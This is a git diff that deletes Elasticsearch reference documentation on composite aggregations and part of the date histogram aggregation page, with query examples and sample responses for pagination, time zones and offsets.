-[[_terms]]
-===== Terms
-
-The `terms` value source is equivalent to a simple `terms` aggregation.
-The values are extracted from a field or a script exactly like the `terms` aggregation.
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "product": { "terms": { "field": "product" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Like the `terms` aggregation it is also possible to use a script to create the values for the composite buckets:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          {
-            "product": {
-              "terms": {
-                "script": {
-                  "source": "doc['product'].value",
-                  "lang": "painless"
-                }
-              }
-            }
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[_histogram]]
-===== Histogram
-
-The `histogram` value source can be applied on numeric values to build fixed size
-interval over the values. The `interval` parameter defines how the numeric values should be
-transformed. For instance an `interval` set to 5 will translate any numeric values to its closest interval,
-a value of `101` would be translated to `100` which is the key for the interval between 100 and 105.
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "histo": { "histogram": { "field": "price", "interval": 5 } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The values are built from a numeric field or a script that return numerical values:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          {
-            "histo": {
-              "histogram": {
-                "interval": 5,
-                "script": {
-                  "source": "doc['price'].value",
-                  "lang": "painless"
-                }
-              }
-            }
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[_date_histogram]]
-===== Date histogram
-
-The `date_histogram` is similar to the `histogram` value source except that the interval
-is specified by date/time expression:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The example above creates an interval per day and translates all `timestamp` values to the start of its closest intervals.
-Available expressions for interval: `year`, `quarter`, `month`, `week`, `day`, `hour`, `minute`, `second`
-
-Time values can also be specified via abbreviations supported by <<time-units,time units>> parsing.
-Note that fractional time values are not supported, but you can address this by shifting to another
-time unit (e.g., `1.5h` could instead be specified as `90m`).
-
-*Format*
-
-Internally, a date is represented as a 64 bit number representing a timestamp in milliseconds-since-the-epoch.
-These timestamps are returned as the bucket keys. It is possible to return a formatted date string instead using
-the format specified with the format parameter:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          {
-            "date": {
-              "date_histogram": {
-                "field": "timestamp",
-                "calendar_interval": "1d",
-                "format": "yyyy-MM-dd"         <1>
-              }
-            }
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Supports expressive date <<date-format-pattern,format pattern>>
-
-*Time Zone*
-
-Date-times are stored in Elasticsearch in UTC.  By default, all bucketing and
-rounding is also done in UTC. The `time_zone` parameter can be used to indicate
-that bucketing should use a different time zone.
-
-Time zones may either be specified as an ISO 8601 UTC offset (e.g. `+01:00` or
-`-08:00`)  or as a timezone id, an identifier used in the TZ database like
-`America/Los_Angeles`.
-
-*Offset*
-
-include::datehistogram-aggregation.asciidoc[tag=offset-explanation]
-
-[source,console,id=composite-aggregation-datehistogram-offset-example]
-----
-PUT my-index-000001/_doc/1?refresh
-{
-  "date": "2015-10-01T05:30:00Z"
-}
-
-PUT my-index-000001/_doc/2?refresh
-{
-  "date": "2015-10-01T06:30:00Z"
-}
-
-GET my-index-000001/_search?size=0
-{
-  "aggs": {
-    "my_buckets": {
-      "composite" : {
-        "sources" : [
-          {
-            "date": {
-              "date_histogram" : {
-                "field": "date",
-                "calendar_interval": "day",
-                "offset": "+6h",
-                "format": "iso8601"
-              }
-            }
-          }
-        ]
-      }
-    }
-  }
-}
-----
-
-include::datehistogram-aggregation.asciidoc[tag=offset-result-intro]
-
-[source,console-result]
-----
-{
-  ...
-  "aggregations": {
-    "my_buckets": {
-      "after_key": { "date": "2015-10-01T06:00:00.000Z" },
-      "buckets": [
-        {
-          "key": { "date": "2015-09-30T06:00:00.000Z" },
-          "doc_count": 1
-        },
-        {
-          "key": { "date": "2015-10-01T06:00:00.000Z" },
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
-----
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-include::datehistogram-aggregation.asciidoc[tag=offset-note]
-
-[[_geotile_grid]]
-===== GeoTile grid
-
-The `geotile_grid` value source works on `geo_point` fields and groups points into buckets that represent
-cells in a grid. The resulting grid can be sparse and only contains cells
-that have matching data. Each cell corresponds to a
-{wikipedia}/Tiled_web_map[map tile] as used by many online map
-sites. Each cell is labeled using a "{zoom}/{x}/{y}" format, where zoom is equal
-to the user-specified precision.
-
-[source,console,id=composite-aggregation-geotilegrid-example]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "tile": { "geotile_grid": { "field": "location", "precision": 8 } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-*Precision*
-
-The highest-precision geotile of length 29 produces cells that cover
-less than 10cm by 10cm of land. This precision is uniquely suited for composite aggregations as each
-tile does not have to be generated and loaded in memory.
-
-See https://wiki.openstreetmap.org/wiki/Zoom_levels[Zoom level documentation]
-on how precision (zoom) correlates to size on the ground. Precision for this
-aggregation can be between 0 and 29, inclusive.
-
-*Bounding box filtering*
-
-The geotile source can optionally be constrained to a specific geo bounding box, which reduces
-the range of tiles used. These bounds are useful when only a specific part of a geographical area needs high
-precision tiling.
-
-[source,console,id=composite-aggregation-geotilegrid-boundingbox-example]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          {
-            "tile": {
-              "geotile_grid": {
-                "field": "location",
-                "precision": 22,
-                "bounds": {
-                  "top_left": "52.4, 4.9",
-                  "bottom_right": "52.3, 5.0"
-                }
-              }
-            }
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-===== Mixing different value sources
-
-The `sources` parameter accepts an array of value sources.
-It is possible to mix different value sources to create composite buckets.
-For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d" } } },
-          { "product": { "terms": { "field": "product" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-This will create composite buckets from the values created by two value sources, a `date_histogram` and a `terms`.
-Each bucket is composed of two values, one for each value source defined in the aggregation.
-Any type of combinations is allowed and the order in the array is preserved
-in the composite buckets.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "shop": { "terms": { "field": "shop" } } },
-          { "product": { "terms": { "field": "product" } } },
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-==== Order
-
-By default the composite buckets are sorted by their natural ordering. Values are sorted
-in ascending order of their values. When multiple value sources are requested, the ordering is done per value
-source, the first value of the composite bucket is compared to the first value of the other composite bucket and if they are equals the
-next values in the composite bucket are used for tie-breaking. This means that the composite bucket
- `[foo, 100]` is considered smaller than `[foobar, 0]` because `foo` is considered smaller than `foobar`.
-It is possible to define the direction of the sort for each value source by setting `order` to `asc` (default value)
-or `desc` (descending order) directly in the value source definition.
-For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d", "order": "desc" } } },
-          { "product": { "terms": { "field": "product", "order": "asc" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-\... will sort the composite bucket in descending order when comparing values from the `date_histogram` source
-and in ascending order when comparing values from the `terms` source.
-
-==== Missing bucket
-
-By default documents without a value for a given source are ignored.
-It is possible to include them in the response by setting `missing_bucket` to
-`true` (defaults to `false`):
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "product_name": { "terms": { "field": "product", "missing_bucket": true } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In the example above the source `product_name` will emit an explicit `null` value
-for documents without a value for the field `product`.
-The `order` specified in the source dictates whether the `null` values should rank
-first (ascending order, `asc`) or last (descending order, `desc`).
-
-==== Size
-
-The `size` parameter can be set to define how many composite buckets should be returned.
-Each composite bucket is considered as a single bucket, so setting a size of 10 will return the
-first 10 composite buckets created from the value sources.
-The response contains the values for each composite bucket in an array containing the values extracted
-from each value source. Defaults to `10`.
-
-==== Pagination
-
-If the number of composite buckets is too high (or unknown) to be returned in a single response
-it is possible to split the retrieval in multiple requests.
-Since the composite buckets are flat by nature, the requested `size` is exactly the number of composite buckets
-that will be returned in the response (assuming that they are at least `size` composite buckets to return).
-If all composite buckets should be retrieved it is preferable to use a small size (`100` or `1000` for instance)
-and then use the `after` parameter to retrieve the next results.
-For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "size": 2,
-        "sources": [
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d" } } },
-          { "product": { "terms": { "field": "product" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-\... returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "my_buckets": {
-      "after_key": {
-        "date": 1494288000000,
-        "product": "mad max"
-      },
-      "buckets": [
-        {
-          "key": {
-            "date": 1494201600000,
-            "product": "rocky"
-          },
-          "doc_count": 1
-        },
-        {
-          "key": {
-            "date": 1494288000000,
-            "product": "mad max"
-          },
-          "doc_count": 2
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-To get the next set of buckets, resend the same aggregation with the `after`
-parameter set to the `after_key` value returned in the response.
-For example, this request uses the `after_key` value provided in the previous response:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "size": 2,
-        "sources": [
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d", "order": "desc" } } },
-          { "product": { "terms": { "field": "product", "order": "asc" } } }
-        ],
-        "after": { "date": 1494288000000, "product": "mad max" } <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Should restrict the aggregation to buckets that sort **after** the provided values.
-
-NOTE: The `after_key` is *usually* the key to the last bucket returned in
-the response, but that isn't guaranteed. Always use the returned `after_key` instead
-of derriving it from the buckets.
-
-==== Early termination
-
-For optimal performance the <<index-modules-index-sorting,index sort>> should be set on the index so that it matches
-parts or fully the source order in the composite aggregation.
-For instance the following index sort:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "index": {
-      "sort.field": [ "username", "timestamp" ],   <1>
-      "sort.order": [ "asc", "desc" ]              <2>
-    }
-  },
-  "mappings": {
-    "properties": {
-      "username": {
-        "type": "keyword",
-        "doc_values": true
-      },
-      "timestamp": {
-        "type": "date"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This index is sorted by `username` first then by `timestamp`.
-<2> ... in ascending order for the `username` field and in descending order for the `timestamp` field.
-
-.. could be used to optimize these composite aggregations:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "user_name": { "terms": { "field": "user_name" } } }     <1>
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> `user_name` is a prefix of the index sort and the order matches (`asc`).
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "user_name": { "terms": { "field": "user_name" } } }, <1>
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d", "order": "desc" } } } <2>
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> `user_name` is a prefix of the index sort and the order matches (`asc`).
-<2> `timestamp` matches also the prefix and the order matches (`desc`).
-
-In order to optimize the early termination it is advised to set `track_total_hits` in the request
-to `false`. The number of total hits that match the request can be retrieved on the first request
-and it would be costly to compute this number on every page:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "track_total_hits": false,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "user_name": { "terms": { "field": "user_name" } } },
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d", "order": "desc" } } }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Note that the order of the source is important, in the example below switching the `user_name` with the `timestamp`
-would deactivate the sort optimization since this configuration wouldn't match the index sort specification.
-If the order of sources do not matter for your use case you can follow these simple guidelines:
-
-  * Put the fields with the highest cardinality first.
-  * Make sure that the order of the field matches the order of the index sort.
-  * Put multi-valued fields last since they cannot be used for early termination.
-
-WARNING: <<index-modules-index-sorting,index sort>> can slowdown indexing, it is very important to test index sorting
-with your specific use case and dataset to ensure that it matches your requirement. If it doesn't note that `composite`
-aggregations will also try to early terminate on non-sorted indices if the query matches all document (`match_all` query).
-
-==== Sub-aggregations
-
-Like any `multi-bucket` aggregations the `composite` aggregation can hold sub-aggregations.
-These sub-aggregations can be used to compute other buckets or statistics on each composite bucket created by this
-parent aggregation.
-For instance the following example computes the average value of a field
-per composite bucket:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_buckets": {
-      "composite": {
-        "sources": [
-          { "date": { "date_histogram": { "field": "timestamp", "calendar_interval": "1d", "order": "desc" } } },
-          { "product": { "terms": { "field": "product" } } }
-        ]
-      },
-      "aggregations": {
-        "the_avg": {
-          "avg": { "field": "price" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-\... returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "my_buckets": {
-      "after_key": {
-        "date": 1494201600000,
-        "product": "rocky"
-      },
-      "buckets": [
-        {
-          "key": {
-            "date": 1494460800000,
-            "product": "apocalypse now"
-          },
-          "doc_count": 1,
-          "the_avg": {
-            "value": 10.0
-          }
-        },
-        {
-          "key": {
-            "date": 1494374400000,
-            "product": "mad max"
-          },
-          "doc_count": 1,
-          "the_avg": {
-            "value": 27.0
-          }
-        },
-        {
-          "key": {
-            "date": 1494288000000,
-            "product": "mad max"
-          },
-          "doc_count": 2,
-          "the_avg": {
-            "value": 22.5
-          }
-        },
-        {
-          "key": {
-            "date": 1494201600000,
-            "product": "rocky"
-          },
-          "doc_count": 1,
-          "the_avg": {
-            "value": 10.0
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-==== Pipeline aggregations
-
-The composite agg is not currently compatible with pipeline aggregations, nor does it make sense in most cases.
-E.g. due to the paging nature of composite aggs, a single logical partition (one day for example) might be spread
-over multiple pages.  Since pipeline aggregations are purely post-processing on the final list of buckets,
-running something like a derivative on a composite page could lead to inaccurate results as it is only taking into
-account a "partial" result on that page.
-
-Pipeline aggs that are self contained to a single bucket (such as `bucket_selector`) might be supported in the future.
diff --git a/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc
deleted file mode 100644
index 707f5251cb2..00000000000
--- a/docs/reference/aggregations/bucket/datehistogram-aggregation.asciidoc
+++ /dev/null
@@ -1,724 +0,0 @@
-[[search-aggregations-bucket-datehistogram-aggregation]]
-=== Date histogram aggregation
-++++
-<titleabbrev>Date histogram</titleabbrev>
-++++
-
-This multi-bucket aggregation is similar to the normal
-<<search-aggregations-bucket-histogram-aggregation,histogram>>, but it can
-only be used with date or date range values. Because dates are represented internally in
-Elasticsearch as long values, it is possible, but not as accurate, to use the
-normal `histogram` on dates as well. The main difference in the two APIs is
-that here the interval can be specified using date/time expressions. Time-based
-data requires special support because time-based intervals are not always a
-fixed length.
-
-Like the histogram, values are rounded *down* into the closest bucket. For
-example, if the interval is a calendar day, `2020-01-03T07:00:01Z` is rounded to
-`2020-01-03T00:00:00Z`. Values are rounded as follows:
-
-[source,java]
-----
-bucket_key = Math.floor(value / interval) * interval
-----
-
-[[calendar_and_fixed_intervals]]
-==== Calendar and fixed intervals
-
-When configuring a date histogram aggregation, the interval can be specified
-in two manners: calendar-aware time intervals, and fixed time intervals.
-
-Calendar-aware intervals understand that daylight savings changes the length
-of specific days, months have different amounts of days, and leap seconds can
-be tacked onto a particular year.
-
-Fixed intervals are, by contrast, always multiples of SI units and do not change
-based on calendaring context.
-
-[NOTE]
-.Combined `interval` field is deprecated
-==================================
-deprecated[7.2, `interval` field is deprecated] Historically both calendar and fixed
-intervals were configured in a single `interval` field, which led to confusing
-semantics. Specifying `1d` would be assumed as a calendar-aware time,
-whereas `2d` would be interpreted as fixed time. To get "one day" of fixed time,
-the user would need to specify the next smaller unit (in this case, `24h`).
-
-This combined behavior was often unknown to users, and even when knowledgeable about
-the behavior it was difficult to use and confusing.
-
-This behavior has been deprecated in favor of two new, explicit fields: `calendar_interval`
-and `fixed_interval`.
-
-By forcing a choice between calendar and intervals up front, the semantics of the interval
-are clear to the user immediately and there is no ambiguity.  The old `interval` field
-will be removed in the future.
-==================================
-
-[[calendar_intervals]]
-==== Calendar intervals
-
-Calendar-aware intervals are configured with the `calendar_interval` parameter.
-You can specify calendar intervals using the unit name, such as `month`, or as a
-single unit quantity, such as `1M`. For example, `day` and `1d` are equivalent.
-Multiple quantities, such as `2d`, are not supported.
-
-The accepted calendar intervals are:
-
-`minute`, `1m` ::
-
-All minutes begin at 00 seconds.
-One minute is the interval between 00 seconds of the first minute and 00
-seconds of the following minute in the specified time zone, compensating for any
-intervening leap seconds, so that the number of minutes and seconds past the
-hour is the same at the start and end.
-
-`hour`, `1h` ::
-
-All hours begin at 00 minutes and 00 seconds.
-One hour (1h) is the interval between 00:00 minutes of the first hour and 00:00
-minutes of the following hour in the specified time zone, compensating for any
-intervening leap seconds, so that the number of minutes and seconds past the hour
-is the same at the start and end.
-
-`day`, `1d` ::
-
-All days begin at the earliest possible time, which is usually 00:00:00
-(midnight).
-One day (1d) is the interval between the start of the day and the start of
-of the following day in the specified time zone, compensating for any intervening
-time changes.
-
-`week`, `1w` ::
-
-One week is the interval between the start day_of_week:hour:minute:second
-and the same day of the week and time of the following week in the specified
-time zone.
-
-`month`, `1M` ::
-
-One month is the interval between the start day of the month and time of
-day and the same day of the month and time of the following month in the specified
-time zone, so that the day of the month and time of day are the same at the start
-and end.
-
-`quarter`, `1q` ::
-
-One quarter is the interval between the start day of the month and
-time of day and the same day of the month and time of day three months later,
-so that the day of the month and time of day are the same at the start and end. +
-
-`year`, `1y` ::
-
-One year is the interval between the start day of the month and time of
-day and the same day of the month and time of day the following year in the
-specified time zone, so that the date and time are the same at the start and end. +
-
-[[calendar_interval_examples]]
-===== Calendar interval examples
-As an example, here is an aggregation requesting bucket intervals of a month in calendar time:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-If you attempt to use multiples of calendar units, the aggregation will fail because only
-singular calendar units are supported:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "2d"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[catch:bad_request]
-
-[source,js]
---------------------------------------------------
-{
-  "error" : {
-    "root_cause" : [...],
-    "type" : "x_content_parse_exception",
-    "reason" : "[1:82] [date_histogram] failed to parse field [calendar_interval]",
-    "caused_by" : {
-      "type" : "illegal_argument_exception",
-      "reason" : "The supplied interval [2d] could not be parsed as a calendar interval.",
-      "stack_trace" : "java.lang.IllegalArgumentException: The supplied interval [2d] could not be parsed as a calendar interval."
-    }
-  }
-}
-
---------------------------------------------------
-// NOTCONSOLE
-
-[[fixed_intervals]]
-==== Fixed intervals
-
-Fixed intervals are configured with the `fixed_interval` parameter.
-
-In contrast to calendar-aware intervals, fixed intervals are a fixed number of SI
-units and never deviate, regardless of where they fall on the calendar. One second
-is always composed of `1000ms`. This allows fixed intervals to be specified in
-any multiple of the supported units.
-
-However, it means fixed intervals cannot express other units such as months,
-since the duration of a month is not a fixed quantity. Attempting to specify
-a calendar interval like month or quarter will throw an exception.
-
-The accepted units for fixed intervals are:
-
-milliseconds (`ms`) ::
-A single millisecond. This is a very, very small interval.
-
-seconds (`s`) ::
-Defined as 1000 milliseconds each.
-
-minutes (`m`) ::
-Defined as 60 seconds each (60,000 milliseconds).
-All minutes begin at 00 seconds.
-
-hours (`h`) ::
-Defined as 60 minutes each (3,600,000 milliseconds).
-All hours begin at 00 minutes and 00 seconds.
-
-days (`d`) ::
-Defined as 24 hours (86,400,000 milliseconds).
-All days begin at the earliest possible time, which is usually 00:00:00
-(midnight).
-
-[[fixed_interval_examples]]
-===== Fixed interval examples
-
-If we try to recreate the "month" `calendar_interval` from earlier, we can approximate that with
-30 fixed days:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "date_histogram": {
-        "field": "date",
-        "fixed_interval": "30d"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-But if we try to use a calendar unit that is not supported, such as weeks, we'll get an exception:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "date_histogram": {
-        "field": "date",
-        "fixed_interval": "2w"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[catch:bad_request]
-
-[source,js]
---------------------------------------------------
-{
-  "error" : {
-    "root_cause" : [...],
-    "type" : "x_content_parse_exception",
-    "reason" : "[1:82] [date_histogram] failed to parse field [fixed_interval]",
-    "caused_by" : {
-      "type" : "illegal_argument_exception",
-      "reason" : "failed to parse setting [date_histogram.fixedInterval] with value [2w] as a time value: unit is missing or unrecognized",
-      "stack_trace" : "java.lang.IllegalArgumentException: failed to parse setting [date_histogram.fixedInterval] with value [2w] as a time value: unit is missing or unrecognized"
-    }
-  }
-}
-
---------------------------------------------------
-// NOTCONSOLE
-
-[[datehistogram-aggregation-notes]]
-==== Date histogram usage notes
-
-In all cases, when the specified end time does not exist, the actual end time is
-the closest available time after the specified end.
-
-Widely distributed applications must also consider vagaries such as countries that
-start and stop daylight savings time at 12:01 A.M., so end up with one minute of
-Sunday followed by an additional 59 minutes of Saturday once a year, and countries
-that decide to move across the international date line. Situations like
-that can make irregular time zone offsets seem easy.
-
-As always, rigorous testing, especially around time-change events, will ensure
-that your time interval specification is
-what you intend it to be.
-
-WARNING: To avoid unexpected results, all connected servers and clients must
-sync to a reliable network time service.
-
-NOTE: Fractional time values are not supported, but you can address this by
-shifting to another time unit (e.g., `1.5h` could instead be specified as `90m`).
-
-NOTE: You can also specify time values using abbreviations supported by
-<<time-units,time units>> parsing.
-
-[[datehistogram-aggregation-keys]]
-==== Keys
-
-Internally, a date is represented as a 64 bit number representing a timestamp
-in milliseconds-since-the-epoch (01/01/1970 midnight UTC). These timestamps are
-returned as the ++key++ name of the bucket. The `key_as_string` is the same
-timestamp converted to a formatted
-date string using the `format` parameter specification:
-
-TIP: If you don't specify `format`, the first date
-<<mapping-date-format,format>> specified in the field mapping is used.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M",
-        "format": "yyyy-MM-dd" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Supports expressive date <<date-format-pattern,format pattern>>
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "sales_over_time": {
-      "buckets": [
-        {
-          "key_as_string": "2015-01-01",
-          "key": 1420070400000,
-          "doc_count": 3
-        },
-        {
-          "key_as_string": "2015-02-01",
-          "key": 1422748800000,
-          "doc_count": 2
-        },
-        {
-          "key_as_string": "2015-03-01",
-          "key": 1425168000000,
-          "doc_count": 2
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-[[datehistogram-aggregation-time-zone]]
-==== Time zone
-
-{es} stores date-times in Coordinated Universal Time (UTC). By default, all bucketing and
-rounding is also done in UTC. Use the `time_zone` parameter to indicate
-that bucketing should use a different time zone.
-
-For example, if the interval is a calendar day and the time zone is
-`America/New_York` then `2020-01-03T01:00:01Z` is :
-# Converted to `2020-01-02T18:00:01`
-# Rounded down to `2020-01-02T00:00:00`
-# Then converted back to UTC to produce `2020-01-02T05:00:00:00Z`
-# Finally, when the bucket is turned into a string key it is printed in
-  `America/New_York` so it'll display as `"2020-01-02T00:00:00"`.
-
-It looks like:
-
-[source,java]
-----
-bucket_key = localToUtc(Math.floor(utcToLocal(value) / interval) * interval))
-----
-
-You can specify time zones as an ISO 8601 UTC offset (e.g. `+01:00` or
-`-08:00`) or as an IANA time zone ID,
-such as `America/Los_Angeles`.
-
-Consider the following example:
-
-[source,console]
----------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "date": "2015-10-01T00:30:00Z"
-}
-
-PUT my-index-000001/_doc/2?refresh
-{
-  "date": "2015-10-01T01:30:00Z"
-}
-
-GET my-index-000001/_search?size=0
-{
-  "aggs": {
-    "by_day": {
-      "date_histogram": {
-        "field":     "date",
-        "calendar_interval":  "day"
-      }
-    }
-  }
-}
----------------------------------
-
-If you don't specify a time zone, UTC is used. This would result in both of these
-documents being placed into the same day bucket, which starts at midnight UTC
-on 1 October 2015:
-
-[source,console-result]
----------------------------------
-{
-  ...
-  "aggregations": {
-    "by_day": {
-      "buckets": [
-        {
-          "key_as_string": "2015-10-01T00:00:00.000Z",
-          "key":           1443657600000,
-          "doc_count":     2
-        }
-      ]
-    }
-  }
-}
----------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-If you specify a `time_zone` of `-01:00`, midnight in that time zone is one hour
-before midnight UTC:
-
-[source,console]
----------------------------------
-GET my-index-000001/_search?size=0
-{
-  "aggs": {
-    "by_day": {
-      "date_histogram": {
-        "field":     "date",
-        "calendar_interval":  "day",
-        "time_zone": "-01:00"
-      }
-    }
-  }
-}
----------------------------------
-// TEST[continued]
-
-Now the first document falls into the bucket for 30 September 2015, while the
-second document falls into the bucket for 1 October 2015:
-
-[source,console-result]
----------------------------------
-{
-  ...
-  "aggregations": {
-    "by_day": {
-      "buckets": [
-        {
-          "key_as_string": "2015-09-30T00:00:00.000-01:00", <1>
-          "key": 1443574800000,
-          "doc_count": 1
-        },
-        {
-          "key_as_string": "2015-10-01T00:00:00.000-01:00", <1>
-          "key": 1443661200000,
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
----------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-<1> The `key_as_string` value represents midnight on each day
-    in the specified time zone.
-
-WARNING: Many time zones shift their clocks for daylight savings time. Buckets
-close to the moment when those changes happen can have slightly different sizes
-than you would expect from the `calendar_interval` or `fixed_interval`.
-For example, consider a DST start in the `CET` time zone: on 27 March 2016 at 2am,
-clocks were turned forward 1 hour to 3am local time. If you use `day` as the
-`calendar_interval`, the bucket covering that day will only hold data for 23
-hours instead of the usual 24 hours for other buckets. The same is true for
-shorter intervals, like a `fixed_interval` of `12h`, where you'll have only a 11h
-bucket on the morning of 27 March when the DST shift happens.
-
-[[search-aggregations-bucket-datehistogram-offset]]
-==== Offset
-
-// tag::offset-explanation[]
-Use the `offset` parameter to change the start value of each bucket by the
-specified positive (`+`) or negative offset (`-`) duration, such as `1h` for
-an hour, or `1d` for a day. See <<time-units>> for more possible time
-duration options.
-
-For example, when using an interval of `day`, each bucket runs from midnight
-to midnight. Setting the `offset` parameter to `+6h` changes each bucket
-to run from 6am to 6am:
-// end::offset-explanation[]
-
-[source,console]
------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "date": "2015-10-01T05:30:00Z"
-}
-
-PUT my-index-000001/_doc/2?refresh
-{
-  "date": "2015-10-01T06:30:00Z"
-}
-
-GET my-index-000001/_search?size=0
-{
-  "aggs": {
-    "by_day": {
-      "date_histogram": {
-        "field":     "date",
-        "calendar_interval":  "day",
-        "offset":    "+6h"
-      }
-    }
-  }
-}
------------------------------
-
